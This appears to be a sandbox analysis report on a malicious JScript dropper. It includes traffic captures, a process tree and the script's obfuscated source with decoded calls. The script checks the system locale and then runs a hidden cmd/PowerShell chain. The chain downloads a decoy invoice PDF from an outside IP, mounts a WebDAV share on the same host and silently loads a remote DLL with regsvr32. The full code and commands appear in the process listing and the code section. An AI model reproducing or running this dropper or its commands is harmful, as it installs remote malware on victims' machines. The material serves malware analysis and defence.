Jan 11, 2025 03:59:28.894522905 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 03:59:28.894532919 CET	672	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 03:59:28.894543886 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 11, 2025 03:59:28.898936987 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49724	193.143.1.205	8888	4196	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:59:30.718602896 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:59:31.522063017 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:59:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:59:25
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js"
Imagebase:	0x7ff6a4030000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:59:25
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
Imagebase:	0x7ff70e610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:59:25
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:59:25
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:59:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:59:29
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70e610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:59:29
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff641ec0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:59:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:59:30
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:59:31
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1696,i,9192007246703842648,7699776659356869918,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vjufx() {	vjufx() ➔ undefined
1	ddyxatdk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nvuwatpi = this[bxabljbdh + zuwdfyrno + yuweel + vhxxbjec + mfexwb + ikofkys + lrxjdg + odshoh] ( this[lczti + ahoaw + saxxvntty + yuweel + zuyhln + bxabljbdh + odshoh][ygbox + yuweel + mfexwb + zuwdfyrno + odshoh + mfexwb + wfjit + ftchveoo + nqtxn + mfexwb + saxxvntty + odshoh] ( lczti + ahoaw + saxxvntty + yuweel + zuyhln + bxabljbdh + odshoh + kkthdegkq + ahoaw + xxpoap + mfexwb + lmfnkub + lmfnkub ) [drqdkjxb + mfexwb + xofdixzzv + drqdkjxb + mfexwb + zuwdfyrno + xmvoyocql] ( yoxgucf + zibgqfx + ngimf + xmwingo + eibifay + ygbox + ebnadlvjf + drqdkjxb + drqdkjxb + ngimf + szvcsw + iovcexrd + eibifay + ebnadlvjf + ahoaw + ngimf + drqdkjxb + jgstvbnak + ygbox + aaqpea + lrxjdg + odshoh + yuweel + aaqpea + lmfnkub + tlime + drmyt + zuwdfyrno + lrxjdg + mfexwb + lmfnkub + jgstvbnak + ikofkys + lrxjdg + odshoh + mfexwb + yuweel + lrxjdg + zuwdfyrno + odshoh + zuyhln + aaqpea + lrxjdg + zuwdfyrno + lmfnkub + jgstvbnak + rlnbuicyg + aaqpea + saxxvntty + zuwdfyrno + lmfnkub + mfexwb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( curxmjjna = 0 ; curxmjjna < ddyxatdk[lmfnkub + mfexwb + lrxjdg + xofdixzzv + odshoh + xxpoap] ; ++ curxmjjna )
4	{
5	if ( nvuwatpi == ddyxatdk[curxmjjna] )
6	{
7	nvuwatpi = true;
8	break ;
9	}
10	}
11	if ( nvuwatpi !== true )
12	this[lczti + ahoaw + saxxvntty + yuweel + zuyhln + bxabljbdh + odshoh][ksajtnelq + zebrc + zuyhln + odshoh] ( );
13	this[lczti + ahoaw + saxxvntty + yuweel + zuyhln + bxabljbdh + odshoh][ygbox + yuweel + mfexwb + zuwdfyrno + odshoh + mfexwb + wfjit + ftchveoo + nqtxn + mfexwb + saxxvntty + odshoh] ( lczti + ahoaw + saxxvntty + yuweel + zuyhln + bxabljbdh + odshoh + kkthdegkq + ahoaw + xxpoap + mfexwb + lmfnkub + lmfnkub ) [yuweel + zebrc + lrxjdg] ( saxxvntty + lqxnoxe + xmvoyocql + tlime + iywvxwtt + saxxvntty + tlime + bxabljbdh + aaqpea + anfidn + mfexwb + yuweel + vhxxbjec + xxpoap + mfexwb + lmfnkub + lmfnkub + kkthdegkq + mfexwb + jfjwsaafx + mfexwb + tlime + rtedlsq + ygbox + aaqpea + lqxnoxe + lqxnoxe + zuwdfyrno + lrxjdg + xmvoyocql + tlime + bkqwjwpa + ikofkys + lrxjdg + gjysmunl + aaqpea + urmxp + mfexwb + rtedlsq + lczti + mfexwb + ftchveoo + drqdkjxb + mfexwb + slvtdi + zebrc + mfexwb + vhxxbjec + odshoh + tlime + rtedlsq + wfjit + zebrc + odshoh + kogif + zuyhln + lmfnkub + mfexwb + tlime + vvijtbwni + odshoh + mfexwb + lqxnoxe + bxabljbdh + vvijtbwni + jgstvbnak + zuyhln + lrxjdg + gjysmunl + aaqpea + zuyhln + saxxvntty + mfexwb + kkthdegkq + bxabljbdh + xmvoyocql + vkygxu + tlime + xxpoap + odshoh + odshoh + bxabljbdh + uelawmspb + iywvxwtt + iywvxwtt + rsypvkwee + yskzifq + cxnoqugi + kkthdegkq + rsypvkwee + iporwk + cxnoqugi + kkthdegkq + rsypvkwee + kkthdegkq + myukxe + rmqiwwor + bfckswufo + iywvxwtt + zuyhln + lrxjdg + gjysmunl + aaqpea + zuyhln + saxxvntty + mfexwb + kkthdegkq + bxabljbdh + xxpoap + bxabljbdh + bkqwjwpa + waxll + waxll + vhxxbjec + odshoh + zuwdfyrno + yuweel + odshoh + tlime + vvijtbwni + odshoh + mfexwb + lqxnoxe + bxabljbdh + vvijtbwni + jgstvbnak + zuyhln + lrxjdg + gjysmunl + aaqpea + zuyhln + saxxvntty + mfexwb + kkthdegkq + bxabljbdh + xmvoyocql + vkygxu + waxll + waxll + saxxvntty + lqxnoxe + xmvoyocql + tlime + iywvxwtt + saxxvntty + tlime + lrxjdg + mfexwb + odshoh + tlime + zebrc + vhxxbjec + mfexwb + tlime + jgstvbnak + jgstvbnak + rsypvkwee + yskzifq + cxnoqugi + kkthdegkq + rsypvkwee + iporwk + cxnoqugi + kkthdegkq + rsypvkwee + kkthdegkq + myukxe + rmqiwwor + bfckswufo + dsbtqqcl + plsnhequ + plsnhequ + plsnhequ + plsnhequ + jgstvbnak + xmvoyocql + zuwdfyrno + gjysmunl + anfidn + anfidn + anfidn + yuweel + aaqpea + aaqpea + odshoh + jgstvbnak + waxll + waxll + saxxvntty + lqxnoxe + xmvoyocql + tlime + iywvxwtt + saxxvntty + tlime + yuweel + mfexwb + xofdixzzv + vhxxbjec + gjysmunl + yuweel + cxnoqugi + myukxe + tlime + iywvxwtt + vhxxbjec + tlime + jgstvbnak + jgstvbnak + rsypvkwee + yskzifq + cxnoqugi + kkthdegkq + rsypvkwee + iporwk + cxnoqugi + kkthdegkq + rsypvkwee + kkthdegkq + myukxe + rmqiwwor + bfckswufo + dsbtqqcl + plsnhequ + plsnhequ + plsnhequ + plsnhequ + jgstvbnak + xmvoyocql + zuwdfyrno + gjysmunl + anfidn + anfidn + anfidn + yuweel + aaqpea + aaqpea + odshoh + jgstvbnak + iporwk + wfipm + rmqiwwor + rsypvkwee + plsnhequ + yskzifq + wfipm + xwwmauk + rsypvkwee + iporwk + rsypvkwee + xwwmauk + rmqiwwor + kkthdegkq + xmvoyocql + lmfnkub + lmfnkub, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll",0,false) ➔ 0
14	}
15	zibgqfx = "v";
16	zibgqfx = "L";
17	zibgqfx = "P";
18	zibgqfx = "R";
19	zibgqfx = "P";
20	zibgqfx = "n";
21	zibgqfx = "e";
22	zibgqfx = "x";
23	zibgqfx = "h";
24	zibgqfx = "n";
25	zibgqfx = "N";
26	zibgqfx = "E";
27	zibgqfx = "x";
28	zibgqfx = "d";
29	zibgqfx = "P";
30	zibgqfx = "j";
31	zibgqfx = "v";
32	zibgqfx = "D";
33	zibgqfx = "V";
34	zibgqfx = "g";
35	zibgqfx = "D";
36	zibgqfx = "K";
37	zibgqfx = "F";
38	zibgqfx = "g";
39	zibgqfx = "k";
40	zibgqfx = "i";
41	zibgqfx = "Q";
42	zibgqfx = "Z";
43	zibgqfx = "Y";
44	zibgqfx = "M";
45	zibgqfx = "D";
46	zibgqfx = "f";
47	zibgqfx = "J";
48	zibgqfx = "q";
49	zibgqfx = "s";
50	zibgqfx = "k";
51	zibgqfx = "U";
52	zibgqfx = "L";
53	zibgqfx = "g";
54	zibgqfx = "l";
55	zibgqfx = "K";
56	ftchveoo = "C";
57	ftchveoo = "G";
58	ftchveoo = "i";
59	ftchveoo = "k";
60	ftchveoo = "W";
61	ftchveoo = "M";
62	ftchveoo = "b";
63	ftchveoo = "o";
64	ftchveoo = "i";
65	ftchveoo = "Z";
66	ftchveoo = "y";
67	ftchveoo = "J";
68	ftchveoo = "u";
69	ftchveoo = "W";
70	ftchveoo = "o";
71	ftchveoo = "M";
72	ftchveoo = "N";
73	ftchveoo = "K";
74	ftchveoo = "e";
75	ftchveoo = "C";
76	ftchveoo = "o";
77	ftchveoo = "w";
78	ftchveoo = "f";
79	ftchveoo = "y";
80	ftchveoo = "L";
81	ftchveoo = "H";
82	ftchveoo = "g";
83	ftchveoo = "w";
84	ftchveoo = "r";
85	ftchveoo = "d";
86	ftchveoo = "u";
87	ftchveoo = "F";
88	ftchveoo = "E";
89	ftchveoo = "H";
90	ftchveoo = "c";
91	ftchveoo = "f";
92	ftchveoo = "O";
93	ftchveoo = "J";
94	ftchveoo = "P";
95	ftchveoo = "c";
96	ftchveoo = "n";
97	ftchveoo = "a";
98	ftchveoo = "D";
99	ftchveoo = "K";
100	ftchveoo = "b";
101	vvijtbwni = "Q";
102	vvijtbwni = "K";
103	vvijtbwni = "G";
104	vvijtbwni = "v";
105	vvijtbwni = "C";
106	vvijtbwni = "B";
107	vvijtbwni = "N";
108	vvijtbwni = "e";
109	vvijtbwni = "a";
110	vvijtbwni = "Q";
111	vvijtbwni = "D";
112	vvijtbwni = "S";
113	vvijtbwni = "%";
114	xofdixzzv = "m";
115	xofdixzzv = "u";
116	xofdixzzv = "s";
117	xofdixzzv = "V";
118	xofdixzzv = "G";
119	xofdixzzv = "k";
120	xofdixzzv = "A";
121	xofdixzzv = "q";
122	xofdixzzv = "b";
123	xofdixzzv = "m";
124	xofdixzzv = "M";
125	xofdixzzv = "K";
126	xofdixzzv = "a";
127	xofdixzzv = "l";
128	xofdixzzv = "a";
129	xofdixzzv = "c";
130	xofdixzzv = "n";
131	xofdixzzv = "s";
132	xofdixzzv = "b";
133	xofdixzzv = "c";
134	xofdixzzv = "c";
135	xofdixzzv = "i";
136	xofdixzzv = "h";
137	xofdixzzv = "R";
138	xofdixzzv = "S";
139	xofdixzzv = "v";
140	xofdixzzv = "U";
141	xofdixzzv = "Z";
142	xofdixzzv = "L";
143	xofdixzzv = "C";
144	xofdixzzv = "g";
145	waxll = "t";
146	waxll = "h";
147	waxll = "I";
148	waxll = "G";
149	waxll = "z";
150	waxll = "t";
151	waxll = "Q";
152	waxll = "c";
153	waxll = "j";
154	waxll = "G";
155	waxll = "V";
156	waxll = "m";
157	waxll = "C";
158	waxll = "j";
159	waxll = "&";
160	dsbtqqcl = "o";
161	dsbtqqcl = "m";
162	dsbtqqcl = "w";
163	dsbtqqcl = "k";
164	dsbtqqcl = "f";
165	dsbtqqcl = "l";
166	dsbtqqcl = "R";
167	dsbtqqcl = "g";
168	dsbtqqcl = "u";
169	dsbtqqcl = "a";
170	dsbtqqcl = "u";
171	dsbtqqcl = "T";
172	dsbtqqcl = "p";
173	dsbtqqcl = "P";
174	dsbtqqcl = "v";
175	dsbtqqcl = "K";
176	dsbtqqcl = "X";
177	dsbtqqcl = "M";
178	dsbtqqcl = "b";
179	dsbtqqcl = "i";
180	dsbtqqcl = "G";
181	dsbtqqcl = "h";
182	dsbtqqcl = "w";
183	dsbtqqcl = "n";
184	dsbtqqcl = "j";
185	dsbtqqcl = "o";
186	dsbtqqcl = "Q";
187	dsbtqqcl = "y";
188	dsbtqqcl = "N";
189	dsbtqqcl = "j";
190	dsbtqqcl = "j";
191	dsbtqqcl = "n";
192	dsbtqqcl = "M";
193	dsbtqqcl = "B";
194	dsbtqqcl = "e";
195	dsbtqqcl = "B";
196	dsbtqqcl = "@";
197	lrxjdg = "W";
198	lrxjdg = "i";
199	lrxjdg = "L";
200	lrxjdg = "N";
201	lrxjdg = "y";
202	lrxjdg = "r";
203	lrxjdg = "n";
204	bkqwjwpa = "m";
205	bkqwjwpa = "U";
206	bkqwjwpa = "P";
207	bkqwjwpa = "k";
208	bkqwjwpa = "l";
209	bkqwjwpa = "R";
210	bkqwjwpa = "q";
211	bkqwjwpa = "M";
212	bkqwjwpa = "F";
213	bkqwjwpa = "t";
214	bkqwjwpa = "p";
215	bkqwjwpa = "M";
216	bkqwjwpa = "z";
217	bkqwjwpa = "C";
218	bkqwjwpa = "i";
219	bkqwjwpa = "r";
220	bkqwjwpa = "X";
221	bkqwjwpa = "u";
222	bkqwjwpa = "R";
223	bkqwjwpa = "e";
224	bkqwjwpa = "I";
225	bkqwjwpa = "Z";
226	bkqwjwpa = "b";
227	bkqwjwpa = "p";
228	bkqwjwpa = "A";
229	bkqwjwpa = "y";
230	bkqwjwpa = "n";
231	bkqwjwpa = "A";
232	bkqwjwpa = "p";
233	bkqwjwpa = "X";
234	bkqwjwpa = "x";
235	bkqwjwpa = "P";
236	bkqwjwpa = "I";
237	bkqwjwpa = "K";
238	bkqwjwpa = "n";
239	bkqwjwpa = "G";
240	bkqwjwpa = "n";
241	bkqwjwpa = "J";
242	bkqwjwpa = "W";
243	bkqwjwpa = "\"";
244	kogif = "K";
245	kogif = "Y";
246	kogif = "p";
247	kogif = "G";
248	kogif = "L";
249	kogif = "z";
250	kogif = "x";
251	kogif = "O";
252	kogif = "d";
253	kogif = "G";
254	kogif = "U";
255	kogif = "p";
256	kogif = "v";
257	kogif = "e";
258	kogif = "N";
259	kogif = "l";
260	kogif = "e";
261	kogif = "Z";
262	kogif = "A";
263	kogif = "T";
264	kogif = "c";
265	kogif = "w";
266	kogif = "o";
267	kogif = "e";
268	kogif = "A";
269	kogif = "i";
270	kogif = "g";
271	kogif = "W";
272	kogif = "l";
273	kogif = "F";
274	ikofkys = "c";
275	ikofkys = "k";
276	ikofkys = "T";
277	ikofkys = "q";
278	ikofkys = "B";
279	ikofkys = "M";
280	ikofkys = "g";
281	ikofkys = "E";
282	ikofkys = "H";
283	ikofkys = "n";
284	ikofkys = "q";
285	ikofkys = "L";
286	ikofkys = "N";
287	ikofkys = "j";
288	ikofkys = "e";
289	ikofkys = "M";
290	ikofkys = "V";
291	ikofkys = "J";
292	ikofkys = "f";
293	ikofkys = "s";
294	ikofkys = "E";
295	ikofkys = "x";
296	ikofkys = "R";
297	ikofkys = "B";
298	ikofkys = "X";
299	ikofkys = "Y";
300	ikofkys = "C";
301	ikofkys = "a";
302	ikofkys = "l";
303	ikofkys = "z";
304	ikofkys = "Z";
305	ikofkys = "I";
306	ikofkys = "w";
307	ikofkys = "x";
308	ikofkys = "P";
309	ikofkys = "k";
310	ikofkys = "H";
311	ikofkys = "p";
312	ikofkys = "p";
313	ikofkys = "P";
314	ikofkys = "a";
315	ikofkys = "f";
316	ikofkys = "q";
317	ikofkys = "I";
318	saxxvntty = "e";
319	saxxvntty = "P";
320	saxxvntty = "Y";
321	saxxvntty = "P";
322	saxxvntty = "j";
323	saxxvntty = "x";
324	saxxvntty = "Q";
325	saxxvntty = "Z";
326	saxxvntty = "Z";
327	saxxvntty = "I";
328	saxxvntty = "e";
329	saxxvntty = "c";
330	saxxvntty = "T";
331	saxxvntty = "n";
332	saxxvntty = "F";
333	saxxvntty = "g";
334	saxxvntty = "P";
335	saxxvntty = "g";
336	saxxvntty = "x";
337	saxxvntty = "X";
338	saxxvntty = "l";
339	saxxvntty = "W";
340	saxxvntty = "t";
341	saxxvntty = "D";
342	saxxvntty = "S";
343	saxxvntty = "e";
344	saxxvntty = "l";
345	saxxvntty = "Z";
346	saxxvntty = "c";
347	saxxvntty = "p";
348	saxxvntty = "E";
349	saxxvntty = "W";
350	saxxvntty = "j";
351	saxxvntty = "t";
352	saxxvntty = "o";
353	saxxvntty = "f";
354	saxxvntty = "c";
355	gjysmunl = "X";
356	gjysmunl = "g";
357	gjysmunl = "h";
358	gjysmunl = "g";
359	gjysmunl = "a";
360	gjysmunl = "P";
361	gjysmunl = "B";
362	gjysmunl = "f";
363	gjysmunl = "M";
364	gjysmunl = "Q";
365	gjysmunl = "V";
366	gjysmunl = "S";
367	gjysmunl = "v";
368	cxnoqugi = "P";
369	cxnoqugi = "i";
370	cxnoqugi = "K";
371	cxnoqugi = "m";
372	cxnoqugi = "w";
373	cxnoqugi = "X";
374	cxnoqugi = "N";
375	cxnoqugi = "Y";
376	cxnoqugi = "t";
377	cxnoqugi = "W";
378	cxnoqugi = "r";
379	cxnoqugi = "y";
380	cxnoqugi = "v";
381	cxnoqugi = "3";
382	slvtdi = "F";
383	slvtdi = "F";
384	slvtdi = "q";
385	slvtdi = "z";
386	slvtdi = "t";
387	slvtdi = "F";
388	slvtdi = "t";
389	slvtdi = "A";
390	slvtdi = "J";
391	slvtdi = "A";
392	slvtdi = "L";
393	slvtdi = "I";
394	slvtdi = "w";
395	slvtdi = "d";
396	slvtdi = "W";
397	slvtdi = "I";
398	slvtdi = "V";
399	slvtdi = "g";
400	slvtdi = "z";
401	slvtdi = "i";
402	slvtdi = "j";
403	slvtdi = "V";
404	slvtdi = "q";
405	slvtdi = "U";
406	slvtdi = "c";
407	slvtdi = "Y";
408	slvtdi = "p";
409	slvtdi = "c";
410	slvtdi = "U";
411	slvtdi = "e";
412	slvtdi = "I";
413	slvtdi = "G";
414	slvtdi = "K";
415	slvtdi = "c";
416	slvtdi = "r";
417	slvtdi = "G";
418	slvtdi = "q";
419	yskzifq = "L";
420	yskzifq = "D";
421	yskzifq = "E";
422	yskzifq = "Q";
423	yskzifq = "m";
424	yskzifq = "G";
425	yskzifq = "q";
426	yskzifq = "s";
427	yskzifq = "L";
428	yskzifq = "X";
429	yskzifq = "9";
430	iywvxwtt = "F";
431	iywvxwtt = "/";
432	wfipm = "D";
433	wfipm = "O";
434	wfipm = "t";
435	wfipm = "C";
436	wfipm = "O";
437	wfipm = "P";
438	wfipm = "T";
439	wfipm = "M";
440	wfipm = "d";
441	wfipm = "c";
442	wfipm = "I";
443	wfipm = "U";
444	wfipm = "7";
445	xmvoyocql = "N";
446	xmvoyocql = "v";
447	xmvoyocql = "d";
448	xmvoyocql = "a";
449	xmvoyocql = "i";
450	xmvoyocql = "q";
451	xmvoyocql = "m";
452	xmvoyocql = "W";
453	xmvoyocql = "k";
454	xmvoyocql = "t";
455	xmvoyocql = "O";
456	xmvoyocql = "K";
457	xmvoyocql = "x";
458	xmvoyocql = "M";
459	xmvoyocql = "d";
460	mfexwb = "R";
461	mfexwb = "S";
462	mfexwb = "b";
463	mfexwb = "l";
464	mfexwb = "y";
465	mfexwb = "N";
466	mfexwb = "U";
467	mfexwb = "r";
468	mfexwb = "I";
469	mfexwb = "u";
470	mfexwb = "e";
471	yuweel = "c";
472	yuweel = "A";
473	yuweel = "O";
474	yuweel = "e";
475	yuweel = "A";
476	yuweel = "r";
477	zuyhln = "b";
478	zuyhln = "e";
479	zuyhln = "j";
480	zuyhln = "q";
481	zuyhln = "x";
482	zuyhln = "h";
483	zuyhln = "r";
484	zuyhln = "V";
485	zuyhln = "d";
486	zuyhln = "i";
487	anfidn = "F";
488	anfidn = "N";
489	anfidn = "l";
490	anfidn = "H";
491	anfidn = "u";
492	anfidn = "X";
493	anfidn = "q";
494	anfidn = "c";
495	anfidn = "B";
496	anfidn = "d";
497	anfidn = "x";
498	anfidn = "C";
499	anfidn = "P";
500	anfidn = "f";
501	anfidn = "h";
502	anfidn = "C";
503	anfidn = "P";
504	anfidn = "Q";
505	anfidn = "H";
506	anfidn = "f";
507	anfidn = "w";
508	odshoh = "B";
509	odshoh = "j";
510	odshoh = "q";
511	odshoh = "y";
512	odshoh = "p";
513	odshoh = "h";
514	odshoh = "M";
515	odshoh = "W";
516	odshoh = "D";
517	odshoh = "L";
518	odshoh = "L";
519	odshoh = "A";
520	odshoh = "E";
521	odshoh = "O";
522	odshoh = "s";
523	odshoh = "F";
524	odshoh = "a";
525	odshoh = "s";
526	odshoh = "b";
527	odshoh = "a";
528	odshoh = "z";
529	odshoh = "R";
530	odshoh = "n";
531	odshoh = "L";
532	odshoh = "F";
533	odshoh = "l";
534	odshoh = "J";
535	odshoh = "S";
536	odshoh = "b";
537	odshoh = "m";
538	odshoh = "y";
539	odshoh = "y";
540	odshoh = "T";
541	odshoh = "w";
542	odshoh = "O";
543	odshoh = "t";
544	nqtxn = "K";
545	nqtxn = "g";
546	nqtxn = "z";
547	nqtxn = "G";
548	nqtxn = "z";
549	nqtxn = "F";
550	nqtxn = "x";
551	nqtxn = "k";
552	nqtxn = "u";
553	nqtxn = "O";
554	nqtxn = "J";
555	nqtxn = "k";
556	nqtxn = "a";
557	nqtxn = "y";
558	nqtxn = "p";
559	nqtxn = "p";
560	nqtxn = "v";
561	nqtxn = "v";
562	nqtxn = "j";
563	kkthdegkq = ".";
564	iporwk = "v";
565	iporwk = "L";
566	iporwk = "A";
567	iporwk = "B";
568	iporwk = "B";
569	iporwk = "U";
570	iporwk = "a";
571	iporwk = "p";
572	iporwk = "a";
573	iporwk = "f";
574	iporwk = "n";
575	iporwk = "P";
576	iporwk = "F";
577	iporwk = "c";
